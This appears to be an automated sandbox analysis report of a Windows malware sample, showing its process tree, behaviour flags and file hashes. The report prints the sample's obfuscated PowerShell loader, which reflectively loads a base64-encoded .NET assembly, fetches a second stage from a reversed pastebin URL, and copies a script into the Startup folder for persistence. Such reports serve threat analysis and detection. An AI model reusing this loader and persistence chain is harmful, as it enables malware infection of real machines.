↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓=';[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ.Replace('↓:↓', 'A') );[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('2tuDqzCk/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' , 'true' ) );2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping 127.0.0.1 -n 10 & powershell -command "Copy-Item 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"3⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 104⤵
- Runs ping.exe
PID:3628
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Copy-Item 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping 127.0.0.1 -n 15 & del "C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js"3⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 154⤵
- Runs ping.exe
PID:3752
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5c92a19e2aa3d54fd422b3ecec69bde47
SHA16d4c693a2a4d72f3c41b08c04975922e4cf7b0e9
SHA2569c0055938648d76251bfef67d44ac0e165a019ed030c0340a260b6b36d4a3f60
SHA512e2d4fc1a78faee4f00ba17d502e447b5c7237ebd25f2863b4358b591db05071211118fa44c196d6e0a86633904e6d61daa2645b52cb901755b5ea8b2c079f887
-
Filesize
64B
MD5a6c9d692ed2826ecb12c09356e69cc09
SHA1def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA5122f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82